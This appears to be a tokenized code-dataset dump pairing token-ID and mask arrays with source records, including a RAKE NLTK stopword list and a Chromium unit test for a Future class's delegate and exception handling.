32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1898, 334, 67, 9, 6171, 710, 12051, 6642, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 624, 199, 52, 1996, 370, 6555, 1627, 1233, 12, 16904, 3365, 1072, 10298, 641, 3182, 14, 199, 199, 2765, 365, 8545, 370, 5920, 4224, 701, 16605, 6472, 10554, 14, 199, 624, 421, 199, 646, 8691, 199, 646, 747, 199, 646, 5145, 199, 646, 3873, 199, 646, 984, 199, 646, 5549, 421, 199, 318, 4226, 6756, 8, 3020, 304, 523, 1798, 275, 8691, 14, 14553, 342, 523, 1798, 14, 525, 63, 1422, 4517, 600, 358, 523, 1798, 14, 525, 63, 1422, 4517, 1065, 13, 20311, 297, 1595, 534, 1617, 63, 2052, 358, 523, 1798, 14, 525, 63, 1422, 4517, 265, 13, 3742, 297, 849, 13275, 523, 1798, 14, 525, 63, 1422, 4517, 265, 13, 5328, 297, 849, 13275, 819, 1511, 12, 1249, 275, 1798, 14, 1122, 63, 589, 8, 3020, 9, 819, 340, 440, 1511, 14, 600, 26, 272, 1798, 14, 705, 360, 7718, 1415, 1553, 600, 6258, 2659, 819, 327, 710, 3734, 1750, 5594, 6544, 370, 282, 1059, 543, 7883, 12, 523, 327, 325, 14, 71, 14, 298, 67, 1637, 486, 4176, 1674, 7905, 652, 370, 282, 769, 11233, 367, 9238, 14, 523, 17327, 275, 747, 14, 2314, 14, 362, 360, 12206, 297, 283, 71, 4176, 1959, 1294, 342, 819, 12885, 275, 5549, 14, 11983, 342, 523, 862, 26, 272, 17327, 63, 515, 275, 747, 14, 515, 14, 904, 8, 8616, 12, 283, 396, 14, 2055, 358, 272, 543, 1551, 8, 9634, 63, 515, 12, 283, 87, 358, 465, 289, 26, 489, 289, 14, 952, 8, 1419, 14, 600, 14, 2708, 360, 875, 13, 3765, 1333, 339, 312, 63, 515, 275, 747, 14, 515, 14, 904, 8, 8616, 12, 283, 396, 14, 79, 358, 339, 17327, 63, 15612, 275, 17327, 435, 359, 9634, 63, 515, 12, 2475, 79, 297, 312, 63, 515, 61, 272, 340, 440, 1511, 14, 1065, 63, 20311, 26, 489, 17327, 63, 15612, 14, 740, 3654, 67, 358, 272, 327, 8325, 7971, 2368, 370, 314, 6365, 14, 272, 17327, 63, 15612, 847, 1249, 272, 17327, 63, 12207, 275, 3873, 14, 7942, 8, 9634, 63, 15612, 12, 639, 3839, 29, 5781, 14, 6089, 12, 639, 4635, 29, 5781, 14, 6089, 9, 272, 17327, 63, 2703, 12, 17327, 63, 3083, 275, 17327, 63, 12207, 14, 10664, 342, 272, 340, 17327, 63, 12207, 14, 9913, 508, 378, 26, 489, 870, 1511, 14, 265, 63, 3742, 272, 587, 26, 489, 870, 1511, 14, 265, 63, 5328, 523, 3753, 26, 272, 5145, 14, 9242, 8, 8616, 9, 819, 372, 378, 421, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 523, 984, 14, 2224, 8, 2585, 6756, 8, 1274, 14, 3020, 59, 17, 16720, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1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ib/python3.5/site-packages/RAKE/stoplists/NLTKStopList.py
3
1887
wordlist = [ 'a', 'about', 'above', 'after', 'again', 'against', "ain't", 'all', 'am', 'an', 'and', 'any', 'are', 'aren', 'as', 'at', 'be', 'because', 'been', 'before', 'being', 'below', 'between', 'both', 'but', 'by', 'can', "couldn't", "i'd", 'did', 'didn', 'do', 'does', "doesn't", 'doing', 'don', 'down', 'during', 'each', 'few', 'for', 'from', 'further', 'had', "hadn't", 'has', 'hasn', 'have', "haven't", 'having', 'he', 'her', 'here', 'hers', 'herself', 'him', 'himself', 'his', 'how', 'i', 'if', 'in', 'into', 'is', "isn't", 'it', 'its', 'itself', 'just', "i'll", "i'm", 'ma', 'me', "mightn't", 'more', 'most', "mustn't", 'my', 'myself', 'needn', 'no', 'nor', 'not', 'now', 'o', 'of', 'off', 'on', 'once', 'only', 'or', 'other', 'our', 'ours', 'ourselves', 'out', 'over', 'own', 're', 's', 'same', 'shan', 'she', 'should', 'shouldn', 'so', 'some', 'such', 't', 'than', 'that', 'the', 'their', 'theirs', 'them', 'themselves', 'then', 'there', 'these', 'they', 'this', 'those', 'through', 'to', 'too', 'under', 'until', 'up', "I've", 'very', 'was', 'wasn', 'we', 'were', 'weren', 'what', 'when', 'where', 'which', 'while', 'who', 'whom', 'why', 'will', 'with', 'won', 'wouldn' 'y', 'you', 'your', 'yours', 'yourself', 'yourselves', ] def words(): return wordlist
apache-2.0
[ 1027, 513, 275, 359, 272, 283, 65, 297, 272, 283, 10254, 297, 272, 283, 16181, 297, 272, 283, 4399, 297, 272, 283, 14199, 297, 272, 283, 17777, 297, 272, 298, 1581, 1133, 401, 272, 283, 452, 297, 272, 283, 455, 297, 272, 283, 290, 297, 272, 283, 460, 297, 272, 283, 1629, 297, 272, 283, 1530, 297, 272, 283, 65, 828, 297, 272, 283, 305, 297, 272, 283, 292, 297, 272, 283, 1235, 297, 272, 283, 20684, 297, 272, 283, 1235, 287, 297, 272, 283, 5182, 297, 272, 283, 1235, 316, 297, 272, 283, 12843, 297, 272, 283, 13007, 297, 272, 283, 10727, 297, 272, 283, 7911, 297, 272, 283, 991, 297, 272, 283, 2425, 297, 272, 298, 15153, 78, 1133, 401, 272, 298, 73, 5121, 401, 272, 283, 14887, 297, 272, 283, 328, 4272, 297, 272, 283, 1117, 297, 272, 283, 9105, 297, 272, 298, 30977, 1133, 401, 272, 283, 1117, 316, 297, 272, 283, 13196, 297, 272, 283, 2110, 297, 272, 283, 27868, 297, 272, 283, 10885, 297, 272, 283, 70, 546, 297, 272, 283, 509, 297, 272, 283, 504, 297, 272, 283, 70, 8754, 297, 272, 283, 72, 350, 297, 272, 298, 72, 350, 78, 1133, 401, 272, 283, 1989, 297, 272, 283, 1989, 78, 297, 272, 283, 7804, 297, 272, 298, 72, 15556, 1133, 401, 272, 283, 31569, 297, 272, 283, 426, 297, 272, 283, 2523, 297, 272, 283, 1681, 297, 272, 283, 72, 1192, 297, 272, 283, 2523, 277, 297, 272, 283, 72, 1017, 297, 272, 283, 72, 1017, 277, 297, 272, 283, 866, 297, 272, 283, 1917, 297, 272, 283, 73, 297, 272, 283, 692, 297, 272, 283, 262, 297, 272, 283, 9924, 297, 272, 283, 374, 297, 272, 298, 374, 78, 1133, 401, 272, 283, 390, 297, 272, 283, 1405, 297, 272, 283, 390, 277, 297, 272, 283, 4764, 297, 272, 298, 73, 7171, 401, 272, 298, 73, 6704, 401, 272, 283, 391, 297, 272, 283, 278, 297, 272, 298, 77, 1070, 78, 1133, 401, 272, 283, 6878, 297, 272, 283, 2786, 297, 272, 298, 7790, 78, 1133, 401, 272, 283, 1662, 297, 272, 283, 1662, 277, 297, 272, 283, 9321, 78, 297, 272, 283, 889, 297, 272, 283, 6505, 297, 272, 283, 1397, 297, 272, 283, 2131, 297, 272, 283, 79, 297, 272, 283, 1618, 297, 272, 283, 1997, 297, 272, 283, 265, 297, 272, 283, 5089, 297, 272, 283, 2118, 297, 272, 283, 269, 297, 272, 283, 1848, 297, 272, 283, 567, 297, 272, 283, 16363, 297, 272, 283, 4010, 24279, 297, 272, 283, 548, 297, 272, 283, 1883, 297, 272, 283, 944, 297, 272, 283, 264, 297, 272, 283, 83, 297, 272, 283, 7191, 297, 272, 283, 609, 290, 297, 272, 283, 19195, 297, 272, 283, 5626, 297, 272, 283, 5626, 78, 297, 272, 283, 1152, 297, 272, 283, 3972, 297, 272, 283, 10180, 297, 272, 283, 84, 297, 272, 283, 13797, 297, 272, 283, 9099, 297, 272, 283, 1589, 297, 272, 283, 1589, 723, 297, 272, 283, 1589, 32030, 297, 272, 283, 1589, 77, 297, 272, 283, 1589, 77, 16887, 297, 272, 283, 12726, 297, 272, 283, 16990, 297, 272, 283, 29032, 297, 272, 283, 29002, 297, 272, 283, 3749, 297, 272, 283, 273, 3362, 297, 272, 283, 8304, 297, 272, 283, 475, 297, 272, 283, 7354, 297, 272, 283, 7138, 297, 272, 283, 8111, 297, 272, 283, 384, 297, 272, 298, 41, 9064, 401, 272, 283, 2588, 297, 272, 283, 10274, 297, 272, 283, 87, 6228, 297, 272, 283, 1129, 297, 272, 283, 1129, 264, 297, 272, 283, 1129, 828, 297, 272, 283, 10058, 297, 272, 283, 6526, 297, 272, 283, 4509, 297, 272, 283, 6777, 297, 272, 283, 6710, 297, 272, 283, 11345, 297, 272, 283, 11345, 77, 297, 272, 283, 26460, 297, 272, 283, 14117, 297, 272, 283, 1045, 297, 272, 283, 87, 265, 297, 272, 283, 2027, 854, 78, 7, 272, 283, 89, 297, 272, 283, 13297, 297, 272, 283, 12695, 297, 272, 283, 12695, 83, 297, 272, 283, 12695, 277, 297, 272, 283, 89, 4010, 24279, 297, 199, 61, 421, 199, 318, 5932, 837, 272, 372, 4349, 513, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 513, 275, 359, 272, 283, 65, 297, 272, 283, 10254, 297, 272, 283, 16181, 297, 272, 283, 4399, 297, 272, 283, 14199, 297, 272, 283, 17777, 297, 272, 298, 1581, 1133, 401, 272, 283, 452, 297, 272, 283, 455, 297, 272, 283, 290, 297, 272, 283, 460, 297, 272, 283, 1629, 297, 272, 283, 1530, 297, 272, 283, 65, 828, 297, 272, 283, 305, 297, 272, 283, 292, 297, 272, 283, 1235, 297, 272, 283, 20684, 297, 272, 283, 1235, 287, 297, 272, 283, 5182, 297, 272, 283, 1235, 316, 297, 272, 283, 12843, 297, 272, 283, 13007, 297, 272, 283, 10727, 297, 272, 283, 7911, 297, 272, 283, 991, 297, 272, 283, 2425, 297, 272, 298, 15153, 78, 1133, 401, 272, 298, 73, 5121, 401, 272, 283, 14887, 297, 272, 283, 328, 4272, 297, 272, 283, 1117, 297, 272, 283, 9105, 297, 272, 298, 30977, 1133, 401, 272, 283, 1117, 316, 297, 272, 283, 13196, 297, 272, 283, 2110, 297, 272, 283, 27868, 297, 272, 283, 10885, 297, 272, 283, 70, 546, 297, 272, 283, 509, 297, 272, 283, 504, 297, 272, 283, 70, 8754, 297, 272, 283, 72, 350, 297, 272, 298, 72, 350, 78, 1133, 401, 272, 283, 1989, 297, 272, 283, 1989, 78, 297, 272, 283, 7804, 297, 272, 298, 72, 15556, 1133, 401, 272, 283, 31569, 297, 272, 283, 426, 297, 272, 283, 2523, 297, 272, 283, 1681, 297, 272, 283, 72, 1192, 297, 272, 283, 2523, 277, 297, 272, 283, 72, 1017, 297, 272, 283, 72, 1017, 277, 297, 272, 283, 866, 297, 272, 283, 1917, 297, 272, 283, 73, 297, 272, 283, 692, 297, 272, 283, 262, 297, 272, 283, 9924, 297, 272, 283, 374, 297, 272, 298, 374, 78, 1133, 401, 272, 283, 390, 297, 272, 283, 1405, 297, 272, 283, 390, 277, 297, 272, 283, 4764, 297, 272, 298, 73, 7171, 401, 272, 298, 73, 6704, 401, 272, 283, 391, 297, 272, 283, 278, 297, 272, 298, 77, 1070, 78, 1133, 401, 272, 283, 6878, 297, 272, 283, 2786, 297, 272, 298, 7790, 78, 1133, 401, 272, 283, 1662, 297, 272, 283, 1662, 277, 297, 272, 283, 9321, 78, 297, 272, 283, 889, 297, 272, 283, 6505, 297, 272, 283, 1397, 297, 272, 283, 2131, 297, 272, 283, 79, 297, 272, 283, 1618, 297, 272, 283, 1997, 297, 272, 283, 265, 297, 272, 283, 5089, 297, 272, 283, 2118, 297, 272, 283, 269, 297, 272, 283, 1848, 297, 272, 283, 567, 297, 272, 283, 16363, 297, 272, 283, 4010, 24279, 297, 272, 283, 548, 297, 272, 283, 1883, 297, 272, 283, 944, 297, 272, 283, 264, 297, 272, 283, 83, 297, 272, 283, 7191, 297, 272, 283, 609, 290, 297, 272, 283, 19195, 297, 272, 283, 5626, 297, 272, 283, 5626, 78, 297, 272, 283, 1152, 297, 272, 283, 3972, 297, 272, 283, 10180, 297, 272, 283, 84, 297, 272, 283, 13797, 297, 272, 283, 9099, 297, 272, 283, 1589, 297, 272, 283, 1589, 723, 297, 272, 283, 1589, 32030, 297, 272, 283, 1589, 77, 297, 272, 283, 1589, 77, 16887, 297, 272, 283, 12726, 297, 272, 283, 16990, 297, 272, 283, 29032, 297, 272, 283, 29002, 297, 272, 283, 3749, 297, 272, 283, 273, 3362, 297, 272, 283, 8304, 297, 272, 283, 475, 297, 272, 283, 7354, 297, 272, 283, 7138, 297, 272, 283, 8111, 297, 272, 283, 384, 297, 272, 298, 41, 9064, 401, 272, 283, 2588, 297, 272, 283, 10274, 297, 272, 283, 87, 6228, 297, 272, 283, 1129, 297, 272, 283, 1129, 264, 297, 272, 283, 1129, 828, 297, 272, 283, 10058, 297, 272, 283, 6526, 297, 272, 283, 4509, 297, 272, 283, 6777, 297, 272, 283, 6710, 297, 272, 283, 11345, 297, 272, 283, 11345, 77, 297, 272, 283, 26460, 297, 272, 283, 14117, 297, 272, 283, 1045, 297, 272, 283, 87, 265, 297, 272, 283, 2027, 854, 78, 7, 272, 283, 89, 297, 272, 283, 13297, 297, 272, 283, 12695, 297, 272, 283, 12695, 83, 297, 272, 283, 12695, 277, 297, 272, 283, 89, 4010, 24279, 297, 199, 61, 421, 199, 318, 5932, 837, 272, 372, 4349, 513, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
plxaye/chromium
src/chrome/common/extensions/docs/server2/future_test.py
58
1982
#!/usr/bin/env python # Copyright 2013 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import traceback import unittest from future import Future class FutureTest(unittest.TestCase): def testNoValueOrDelegate(self): self.assertRaises(ValueError, Future) def testValue(self): future = Future(value=42) self.assertEqual(42, future.Get()) self.assertEqual(42, future.Get()) def testDelegateValue(self): assertFalse = self.assertFalse class delegate(object): def __init__(self): self._get_called = False def Get(self): assertFalse(self._get_called) self._get_called = True return 42 future = Future(delegate=delegate()) self.assertEqual(42, future.Get()) self.assertEqual(42, future.Get()) def testErrorThrowingDelegate(self): class FunkyException(Exception): pass # Set up a chain of functions to test the stack trace. def qux(): raise FunkyException() def baz(): return qux() def bar(): return baz() def foo(): return bar() chain = [foo, bar, baz, qux] assertFalse = self.assertFalse class delegate(object): def __init__(self): self._get_called = False def Get(self): assertFalse(self._get_called) self._get_called = True return foo() fail = self.fail assertTrue = self.assertTrue def assert_raises_full_stack(future, err): try: future.Get() fail('Did not raise %s' % err) except Exception as e: assertTrue(isinstance(e, err)) stack = traceback.format_exc() assertTrue(all(stack.find(fn.__name__) != -1 for fn in chain)) future = Future(delegate=delegate()) assert_raises_full_stack(future, FunkyException) assert_raises_full_stack(future, FunkyException) if __name__ == '__main__': unittest.main()
apache-2.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1898, 6171, 710, 12051, 6642, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 646, 5190, 199, 646, 2882, 199, 199, 504, 6466, 492, 20799, 199, 199, 533, 20799, 774, 8, 2796, 14, 1746, 304, 523, 347, 511, 1944, 1110, 2844, 21553, 8, 277, 304, 272, 291, 14, 1855, 8, 3393, 12, 20799, 9, 819, 347, 511, 1110, 8, 277, 304, 272, 6466, 275, 20799, 8, 585, 29, 2260, 9, 272, 291, 14, 629, 8, 2260, 12, 6466, 14, 1002, 1012, 272, 291, 14, 629, 8, 2260, 12, 6466, 14, 1002, 1012, 819, 347, 511, 21553, 1110, 8, 277, 304, 272, 702, 797, 275, 291, 14, 3334, 272, 1021, 13080, 8, 785, 304, 489, 347, 636, 826, 721, 277, 304, 267, 291, 423, 362, 63, 3527, 275, 756, 489, 347, 2372, 8, 277, 304, 267, 702, 797, 8, 277, 423, 362, 63, 3527, 9, 267, 291, 423, 362, 63, 3527, 275, 715, 267, 372, 5685, 339, 6466, 275, 20799, 8, 15286, 29, 15286, 1012, 272, 291, 14, 629, 8, 2260, 12, 6466, 14, 1002, 1012, 272, 291, 14, 629, 8, 2260, 12, 6466, 14, 1002, 1012, 819, 347, 511, 547, 2719, 1143, 316, 21553, 8, 277, 304, 272, 1021, 481, 1778, 89, 1726, 8, 1726, 304, 489, 986, 339, 327, 2494, 1536, 282, 6036, 402, 3423, 370, 511, 314, 3464, 3307, 14, 272, 347, 2173, 88, 837, 489, 746, 481, 1778, 89, 1726, 342, 272, 347, 15507, 837, 489, 372, 2173, 88, 342, 272, 347, 4681, 837, 489, 372, 15507, 342, 272, 347, 3925, 837, 489, 372, 4681, 342, 272, 6036, 275, 359, 1421, 12, 4681, 12, 15507, 12, 2173, 88, 61, 339, 702, 797, 275, 291, 14, 3334, 272, 1021, 13080, 8, 785, 304, 489, 347, 636, 826, 721, 277, 304, 267, 291, 423, 362, 63, 3527, 275, 756, 489, 347, 2372, 8, 277, 304, 267, 702, 797, 8, 277, 423, 362, 63, 3527, 9, 267, 291, 423, 362, 63, 3527, 275, 715, 267, 372, 3925, 342, 339, 2449, 275, 291, 14, 1633, 272, 702, 549, 275, 291, 14, 1815, 272, 347, 702, 63, 3536, 63, 2861, 63, 2340, 8, 2443, 12, 2329, 304, 489, 862, 26, 267, 6466, 14, 1002, 342, 267, 2449, 360, 17366, 440, 746, 450, 83, 7, 450, 2329, 9, 489, 871, 2186, 465, 325, 26, 267, 702, 549, 8, 6074, 8, 69, 12, 2329, 430, 267, 3464, 275, 5190, 14, 908, 63, 2804, 342, 267, 702, 549, 8, 452, 8, 2340, 14, 1623, 8, 2324, 855, 354, 3368, 1137, 